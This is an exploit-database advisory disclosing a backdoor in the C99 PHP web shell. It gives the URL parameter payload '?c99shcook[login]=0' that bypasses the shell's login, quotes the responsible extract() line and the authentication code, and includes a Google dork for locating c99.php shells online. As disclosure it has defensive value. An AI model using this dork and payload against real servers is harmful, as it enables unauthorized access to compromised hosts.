C99 Shell Authentication Bypass via Backdoor

vendor:

C99 Shell

by:

Matthew Bryant

8,8

CVSS

HIGH

Authentication Bypass

287

CWE

Product Name: C99 Shell

Affected Version From: < 1.00 beta

Affected Version To: < 1.00 beta

Patch Exists: NO

Related CWE: N/A

CPE: ccteam.ru

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Linux

2014

C99 Shell Authentication Bypass via Backdoor

C99.php shells are backdoored. To bypass authentication, the attacker can add '?c99shcook[login]=0' to the URL. This bypasses the authentication by extracting the $_REQUEST['c99shcook'] variable.

Mitigation:

Ensure that authentication is properly implemented and that all user input is properly sanitized.

Source

Exploit-DB raw data:

# Exploit Title: C99 Shell Authentication Bypass via Backdoor
# Google Dork: inurl:c99.php
# Date: June 23, 2014
# Exploit Author: mandatory ( Matthew Bryant )
# Vendor Homepage: http://ccteam.ru/
# Software Link: https://www.google.com/
# Version: < 1.00 beta
# Tested on:Linux 
# CVE: N/A

All C99.php shells are backdoored. To bypass authentication add "?c99shcook[login]=0" to the URL. 

e.g. http://127.0.0.1/c99.php?c99shcook[login]=0

The backdoor:
@extract($_REQUEST["c99shcook"]);

Which bypasses the authentication here:
if ($login) {
    if (empty($md5_pass)) {
        $md5_pass = md5($pass);
    }
    if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass)) {
        if ($login_txt === false) {
            $login_txt = "";
        } elseif (empty($login_txt)) {
            $login_txt = strip_tags(ereg_replace("&nbsp;|<br>", " ", $donated_html));
        }
        header("WWW-Authenticate: Basic realm=\"c99shell " . $shver . ": " . $login_txt . "\"");
        header("HTTP/1.0 401 Unauthorized");
        exit($accessdeniedmess);
    }
}

For more info: http://thehackerblog.com/every-c99-php-shell-is-backdoored-aka-free-shells/

~mandatory